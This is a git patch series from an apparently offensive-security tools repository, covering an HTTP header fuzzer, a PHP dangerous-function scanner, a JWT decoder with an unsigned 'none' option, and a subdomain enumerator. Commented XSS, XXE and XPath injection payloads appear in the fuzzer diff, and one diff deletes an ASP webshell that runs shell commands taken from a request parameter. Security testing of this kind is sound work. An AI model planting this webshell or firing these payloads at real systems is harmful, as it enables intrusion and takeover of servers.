a/http_headers_fuzzer/http_headers_fuzzer.py +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -10,19 +10,16 @@ payloads = [ { - "Host": sys.argv[1], "Content-Type": "text/plain", "User-Agent": "HTTP Fuzzer", "Accept": "*.*" }, { - "Host": sys.argv[1], "Content-Type": "application/xml", "User-Agent": "", "Accept": "*.*" }, { - "Host": sys.argv[1], "Content-Type": "application/json", "Accept": "*.*", "User-Agent": "';", @@ -37,9 +34,9 @@ postdata = [ # text/plain -"some random string", + "some random string", # application/x-www-form-urlencoded -"foo=bar&debug=true", + "foo=bar&debug=true", # application/xml r""" @@ -84,85 +81,90 @@ """, -# r""" -# var n=0;while(true){n++;}]]> -# SCRIPT]]>alert('gotcha');/SCRIPT]]> -# -# ]>&xee; -# ]>&xee; -# ]>&xee; -# ]>&xee; -# -# ]> -# -# ]> -# "]]>" -# "cript:alert('XSS')"">" -# "" -# "XSS" -# ','')); phpinfo(); exit;/* - -# """, + # r""" + # var n=0;while(true){n++;}]]> + # SCRIPT]]>alert('gotcha');/SCRIPT]]> + # + # ]>&xee; + # ]>&xee; + # ]>&xee; + # ]>&xee; + # + # ]> + # + # ]> + # "]]>" + # "cript:alert('XSS')"">" + # "" + # "XSS" + # ','')); phpinfo(); exit;/* + + # """, # XXE -# r""" -# -# -# ]> -# ]>&foo; -# ]> -# ]>&foo; -# -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# -# ]]> -# &foo; -# %foo; -# count(/child::node()) -# x' or name()='username' or 'x'='y -# ','')); phpinfo(); exit;/* -# var n=0;while(true){n++;}]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# -# -# ]]> -# <IMG SRC="javascript:alert('XSS')"> -# -# -# -# XSS -# -# -# -# -# ]> -# ]> -# ]> -# ]> -# ]> -# "> %int; -# "> -# %dtd;%trick;]> -# %dtd;%trick;]> -# %dtd;]>]]> -# """ + # r""" + # + # + # ]> + # ]>&foo; + # ]> + # ]>&foo; + # + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # + # ]]> + # &foo; + # %foo; + # count(/child::node()) + # x' or name()='username' or 'x'='y + # ','')); phpinfo(); exit;/* + # var n=0;while(true){n++;}]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # + # + # ]]> + # <IMG SRC="javascript:alert('XSS')"> + # + # + # + # XSS + # + # + # + # + # ]> + # ]> + # ]> + # ]> + # ]> + # "> %int; + # "> + # %dtd;%trick;]> + # %dtd;%trick;]> + # %dtd;]>]]> + # """ ] def pretty_response_print(method, url, response): + if 'Content-Length' in response.headers.keys(): + content_length = response.headers['Content-Length'] + else: + content_length = 'unknown' + print("{} {}\t\t HTTP {}: size: {}".format( - method, url, response.status_code, response.headers['Content-Length'])) + method, url, response.status_code, content_length)) logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( response.headers.__str__(), response.text, '-' * 120)) @@ -195,14 +197,18 @@ def send_request_with_method(method, url, payload): http_url, headers=payload, data=data, allow_redirects=False)) -def fuzz(url): +def fuzz(host, url): print("[+] Fuzzing {}...".format(url)) for payload in payloads: + payload["Host"] = host send_request_with_method('GET', url, payload) send_request_with_method('POST', url, payload) if __name__ == '__main__': - fuzz(sys.argv[1]) + host = sys.argv[1] + url = sys.argv[2] + + fuzz(host, url) logfile.close() diff --git a/webshells/webshell.asp b/webshells/webshell.asp deleted file mode 100644 index 22c5a5d..0000000 --- a/webshells/webshell.asp +++ /dev/null @@ -1,50 +0,0 @@ - - - -<% -Set oScript = Server.CreateObject("WSCRIPT.SHELL") -Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") -Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") -Function getCommandOutput(theCommand) - Dim objShell, objCmdExec - Set objShell = CreateObject("WScript.Shell") - Set objCmdExec = objshell.exec(thecommand) - getCommandOutput = objCmdExec.StdOut.ReadAll -end Function -%> - - - - -
- - -
-
-<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
-<%Response.Write(Request.ServerVariables("server_name"))%>
-

-The server's port: -<%Response.Write(Request.ServerVariables("server_port"))%> -

-

-The server's software: -<%Response.Write(Request.ServerVariables("server_software"))%> -

-

-The server's software: -<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> -<% szCMD = request("cmd") -thisDir = getCommandOutput("cmd /c" & szCMD) -Response.Write(thisDir)%> -

-
- - \ No newline at end of file diff --git a/webshells/webshell.php b/webshells/webshell.php deleted file mode 100644 index 08fc995..0000000 --- a/webshells/webshell.php +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file From 3835fc3a45af621bb9c0e25178d5228c67a2e86c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 1 Oct 2019 08:33:44 +0100 Subject: [PATCH 027/369] fixed class 'UnicodeDecodeError' error [pef] --- pef/pef.py | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5e09b5f..43613ab 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -5,6 +5,14 @@ # # pylint: disable=C0103 + +# //TODO: +# - handle exceptions: "Unexpected error: " +# - allow to scan folder without subdirs +# - allow to scan files by pattern, eg. *.php +# - exclude 'echo' lines without HTML tags + + """ pef.py - PHP static code analysis tool (very, very simple) by bl4de @@ -220,9 +228,10 @@ def run(self): if self.recursive: for root, subdirs, files in os.walk(self.filename): for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res + if f.find('php') > 0: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) @@ -282,6 +291,9 @@ def run(self): engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() + except UnicodeDecodeError as e: + print("UnicodeDecodeError in {}: {}".format(filename, e)) + pass except Exception as e: print("Unexpected error:") print(type(e)) From c601dd4fe84f36693fe31ddd8deecae065dc91e3 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 8 Oct 2019 00:15:41 +0100 Subject: [PATCH 028/369] cosmetic changes [pef] --- pef/pef.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 43613ab..8de1f8f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -7,7 +7,6 @@ # pylint: disable=C0103 # //TODO: -# - handle exceptions: "Unexpected error: " # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags @@ -86,7 +85,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) - fn = " {}".format(fn) + fn = "{}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed @@ -110,7 +109,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li } if verbose == True: - print(" line %d :: \33[33;1m%s\33[0m " % (i, fn)) + print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: print("{}line {} :: {}{} ".format(beautyConsole.getColor( "white"), i, beautyConsole.getColor("grey"), _line.strip())) @@ -137,7 +136,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li severity[impact] = severity[impact] + 1 if verbose == True: - print("\n") + print() if prev_prev_line: print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + beautyConsole.getSpecialChar("endline")) @@ -152,7 +151,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li if next_next_line: print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + beautyConsole.getSpecialChar("endline")) - print("\n") + print() return def main(self, src): From 7e50587d9bc1eade9b568b11a24fed25c671d1ae Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 22:18:13 +0100 Subject: [PATCH 029/369] some updates [pef] --- pef/imports/pefdefs.py | 2 ++ pef/imports/pefdocs.py | 12 ++++++++++++ pef/pef.py | 10 ++++++---- 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index d16cbd0..5a7d8fd 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -114,6 +114,8 @@ "__wakeup(", "__destruct(", "__sleep(", + "__call(", + "__callStatic(", "filter_var(", "file_put_contents(" ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3cb9caf..153fad3 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -467,6 +467,18 @@ "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium" + ], "filter_var()":[ "Filters a variable with a specified filter", "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", diff --git a/pef/pef.py b/pef/pef.py index 8de1f8f..7ff4447 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -237,11 +237,11 @@ def run(self): print(beautyConsole.getColor("white") + "-" * 100) - print(beautyConsole.getColor("green")) - print("\n>>> {} file(s) scanned".format(self.scanned_files)) + print( + f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") if self.found_entries > 0: - print("{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), self.found_entries)) + print( + f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") else: print(" No interesting entries found :( \n") @@ -293,6 +293,8 @@ def run(self): except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) pass + except FileNotFoundError as e: + print("Requested file not found, check the path :)") except Exception as e: print("Unexpected error:") print(type(e)) From c1e77cf88290ca107229c2fdbb05d40372591afe Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 23:10:01 +0100 Subject: [PATCH 030/369] fix searching patterns; cut long lines [pef] --- pef/pef.py | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7ff4447..834397e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -89,13 +89,24 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) + # try to match --pattern if set, using RegExp + if self.pattern: + pattern = re.compile(self.pattern[0]) + if re.match(pattern, line): + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) + else: + if fn in line or atfn in line: + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) return total def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): @@ -108,11 +119,14 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li "high": "red" } + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" if verbose == True: print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip())) + "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -170,7 +184,6 @@ def main(self, src): prev_line = "" next_line = "" next_next_line = "" - for l in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() @@ -183,7 +196,6 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: for fn in pefdefs.critical: total = self.analyse_line(l, i, fn, f, line, prev_line, @@ -295,6 +307,8 @@ def run(self): pass except FileNotFoundError as e: print("Requested file not found, check the path :)") + except IsADirectoryError as e: + print(f"{filename} is a directory and requires -r flag") except Exception as e: print("Unexpected error:") print(type(e)) From e70fe77be482e56b42c9e298427d8f1d185a93ed Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 23:12:27 +0100 Subject: [PATCH 031/369] update description and contact info [pef] --- pef/pef.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 834397e..2161b05 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # # PHP Exploitable Functions/Vars Scanner -# bl4de | bloorq@gmail.com | Twitter: @_bl4de +# bl4de | github.com/bl4de | hackerone.com/bl4de # # pylint: disable=C0103 @@ -13,9 +13,7 @@ """ -pef.py - PHP static code analysis tool (very, very simple) -by bl4de -GitHub: bl4de | bloorq@gmail.com +pef.py - PHP source code advanced grep utility """ import sys import os @@ -32,7 +30,7 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16) + print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") From e63367c8e58daeba919d575400d7224965b1095c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 14:15:42 +0000 Subject: [PATCH 032/369] JWT decoder - initial commit --- jwt_decoder.py | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 jwt_decoder.py diff --git a/jwt_decoder.py b/jwt_decoder.py new file mode 100644 index 0000000..d2c5ddd --- /dev/null +++ b/jwt_decoder.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 + +# JWT Decoder +import base64 + +jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E" + +jwt = jwt.split('.') + +print(jwt) From 3e93b88028078f73d870ef480c49dce36d893ea7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 15:10:37 +0000 Subject: [PATCH 033/369] initial decoding of header and payload of JWT [jwt_decoder.py] --- jwt_decoder.py | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) mode change 100644 => 100755 jwt_decoder.py diff --git a/jwt_decoder.py b/jwt_decoder.py old mode 100644 new mode 100755 index d2c5ddd..4237c71 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -2,9 +2,29 @@ # JWT Decoder import base64 +import sys +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E -jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E" -jwt = jwt.split('.') +def get_parts(jwt): + return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) -print(jwt) + +def decode_part(part): + # use Base64URL decode plus optional padding. + # === makes sure that padding will be always correct + # extraneous padding is ignored + return base64.urlsafe_b64decode(part + '===') + + +def encode_part(part): + return base64.urlsafe_b64encode(part).decode('utf-8') + + +parts = get_parts(sys.argv[1]) + +header = decode_part(parts['header']) +print(header) + +payload = decode_part(parts['payload']) +print(payload) From 49a43b2ed14a1bb4a75e5233edb3313b77a9c132 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 16:07:55 +0000 Subject: [PATCH 034/369] generate JWT [jwt_decoder.py] --- jwt_decoder.py | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index 4237c71..dd617eb 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -3,8 +3,13 @@ # JWT Decoder import base64 import sys +import hmac +import hashlib +import binascii + # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.15308fa263baaa57c2c84528d913ab75892352d927ccbd29e5af8fd783257996 def get_parts(jwt): return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) @@ -18,13 +23,32 @@ def decode_part(part): def encode_part(part): - return base64.urlsafe_b64encode(part).decode('utf-8') + return base64.urlsafe_b64encode(part).decode('utf-8').replace('=', '') + + +def build_jwt(header, payload, key, alg='hmac'): + message = encode_part(header) + '.' + encode_part(payload) + if alg == 'hmac': + signature = hmac.new(bytes(key,'ascii'), bytes(message, 'ascii'), hashlib.sha256).hexdigest() + elif alg == 'none': + # if alg is set to 'none' + signature = '' + else: + pass + return f'{message}.{signature}' parts = get_parts(sys.argv[1]) header = decode_part(parts['header']) -print(header) +# print(header) payload = decode_part(parts['payload']) -print(payload) +# print(payload) + + +message = encode_part(header) + '.' + encode_part(payload) +# print(message) + +jwt = build_jwt(header, payload, 'key') +print(jwt) From 5f1fe4b6789cc3d4144a4b39d96be93c3210c729 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 16:32:29 +0000 Subject: [PATCH 035/369] not working :/ [jwt-decoder.py] --- jwt_decoder.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index dd617eb..9252867 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -11,6 +11,7 @@ # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.15308fa263baaa57c2c84528d913ab75892352d927ccbd29e5af8fd783257996 + def get_parts(jwt): return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) @@ -27,9 +28,10 @@ def encode_part(part): def build_jwt(header, payload, key, alg='hmac'): - message = encode_part(header) + '.' + encode_part(payload) + message = f'{encode_part(header)}.{encode_part(payload)}'.encode() if alg == 'hmac': - signature = hmac.new(bytes(key,'ascii'), bytes(message, 'ascii'), hashlib.sha256).hexdigest() + signature = hmac.new(key.encode(), message, + hashlib.sha256).hexdigest() elif alg == 'none': # if alg is set to 'none' signature = '' @@ -41,14 +43,11 @@ def build_jwt(header, payload, key, alg='hmac'): parts = get_parts(sys.argv[1]) header = decode_part(parts['header']) -# print(header) +print(header) payload = decode_part(parts['payload']) -# print(payload) - +print(payload) -message = encode_part(header) + '.' + encode_part(payload) -# print(message) -jwt = build_jwt(header, payload, 'key') +jwt = build_jwt(header, payload, 'secrety') print(jwt) From a7cd80937498edf68ddc00f6eaae890eb039ef3b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 12 Nov 2019 15:45:08 +0000 Subject: [PATCH 036/369] jwt_decoder.py changes --- jwt_decoder.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index 9252867..6b3ae69 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -24,14 +24,21 @@ def decode_part(part): def encode_part(part): - return base64.urlsafe_b64encode(part).decode('utf-8').replace('=', '') + return base64.urlsafe_b64encode(part).replace(b'=', b'') +# doesn't work, needs to be fixed, one day :P def build_jwt(header, payload, key, alg='hmac'): - message = f'{encode_part(header)}.{encode_part(payload)}'.encode() + message = b'.'.join([ + encode_part(header), + encode_part(payload) + ]) + + print(message) if alg == 'hmac': signature = hmac.new(key.encode(), message, hashlib.sha256).hexdigest() + print(encode_part(bytes(signature, encoding='utf8'))) elif alg == 'none': # if alg is set to 'none' signature = '' @@ -47,7 +54,3 @@ def build_jwt(header, payload, key, alg='hmac'): payload = decode_part(parts['payload']) print(payload) - - -jwt = build_jwt(header, payload, 'secrety') -print(jwt) From 94c6cf9611ab7fdafea24b307439100787704c1f Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 24 Nov 2019 00:26:55 +0000 Subject: [PATCH 037/369] denumerator refactoring (Ptyhon 2 -> Python 3) --- denumerator/denumerator.py | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 962ec1d..6b7b45f 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # pylint: disable=invalid-name """ --- dENUMerator --- @@ -48,7 +48,8 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +# allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +allowed_http_responses = [200] timeout = 2 @@ -56,7 +57,7 @@ def usage(): """ prints welcome message """ - print welcome + print(welcome) def create_output_header(html_output): @@ -87,7 +88,7 @@ def append_to_output(html_output, url, http_status_code): # green - 200 OK if http_status_code == 200: http_status_code_color = "0c0" - + # red - error responses, but HTTP server exists if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" @@ -123,8 +124,8 @@ def send_request(proto, domain, output_file, html_output): 'http': 'http://', 'https': 'https://' } - - print '\t--> {}{}'.format(protocols.get(proto.lower()), domain) + + print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -133,8 +134,8 @@ def send_request(proto, domain, output_file, html_output): headers={'Host': domain}) if resp.status_code in allowed_http_responses: - print '[+] {}HTTP {}{}:\t {}'.format( - colors[resp.status_code], resp.status_code, colors['white'], domain) + print('[+] {}HTTP {}{}:\t {}'.format( + colors[resp.status_code], resp.status_code, colors['white'], domain)) if resp.status_code in allowed_http_responses: append_to_output(html_output, protocols.get( @@ -159,20 +160,20 @@ def enumerate_domains(domains, output_file, html_output, show=False): except requests.exceptions.InvalidURL: if show is True: - print '[-] {} is not a valid URL :/'.format(d) + print('[-] {} is not a valid URL :/'.format(d)) except requests.exceptions.ConnectTimeout: if show is True: - print '[-] {} :('.format(d) + print('[-] {} :('.format(d)) continue except requests.exceptions.ConnectionError: if show is True: - print '[-] connection to {} aborted :/'.format(d) + print('[-] connection to {} aborted :/'.format(d)) except requests.exceptions.ReadTimeout: if show is True: - print '[-] {} read timeout :/'.format(d) + print('[-] {} read timeout :/'.format(d)) except requests.exceptions.TooManyRedirects: if show is True: - print '[-] {} probably went into redirects loop :('.format(d) + print('[-] {} probably went into redirects loop :('.format(d)) else: pass @@ -201,7 +202,7 @@ def main(): # set options show = True if args.success else False - domains = open(args.file, 'rw').readlines() + domains = open(args.file, 'r').readlines() # create dir for HTML report if os.path.isdir('report') == False: From e84f4a3f2c4c711c0fcc69008cd4f0350f628a9b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 18 Dec 2019 02:07:32 +0000 Subject: [PATCH 038/369] denumerator.py TODO list --- denumerator/denumerator.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6b7b45f..e1a6905 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,5 +1,15 @@ #!/usr/bin/env python3 # pylint: disable=invalid-name +""" +@TODO +- results summary +- disable/enable by HTTP Response Code (200/500/404/403/302) +- HTTP response headers + + +""" + + """ --- dENUMerator --- @@ -48,11 +58,9 @@ } requests.packages.urllib3.disable_warnings() -# allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] -allowed_http_responses = [200] +allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] timeout = 2 - def usage(): """ prints welcome message @@ -174,6 +182,8 @@ def enumerate_domains(domains, output_file, html_output, show=False): except requests.exceptions.TooManyRedirects: if show is True: print('[-] {} probably went into redirects loop :('.format(d)) + except UnicodeError: + pass else: pass From be8403508bf3673a1771d2734c886260a109bebf Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 18 Dec 2019 02:11:11 +0000 Subject: [PATCH 039/369] denumerator.py - output summary [IN PROGRESS] --- denumerator/denumerator.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index e1a6905..08d2320 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -83,6 +83,16 @@ def create_output_header(html_output): return +def create_summary(html_output): + html = """ +
+

Denumerator Summary

+
+ + """ + html_output.write(html) + + def append_to_output(html_output, url, http_status_code): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' @@ -224,6 +234,9 @@ def main(): # main loop enumerate_domains(domains, output_file, html_output, show) + # summary + create_summary(html_output) + # finish HTML output create_output_footer(html_output) html_output.close() From 9ebdb2a9b32ca557d3599f76bec2e96f3a72a39e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 18 Feb 2020 00:40:59 +0000 Subject: [PATCH 040/369] show only 200 --- denumerator/denumerator.py | 1 + 1 file changed, 1 insertion(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 08d2320..381d6c6 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -59,6 +59,7 @@ requests.packages.urllib3.disable_warnings() allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +# allowed_http_responses = [200] timeout = 2 def usage(): From 0754d9936b63f3f8261332df5a6639b6f6bbe30d Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 23 Feb 2020 10:17:04 +0000 Subject: [PATCH 041/369] VirusTotal IP scanner - returns domains related to IP [virustotal] --- denumerator/denumerator.py | 2 +- virustotal.py | 73 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) create mode 100755 virustotal.py diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 381d6c6..98e6667 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -13,7 +13,7 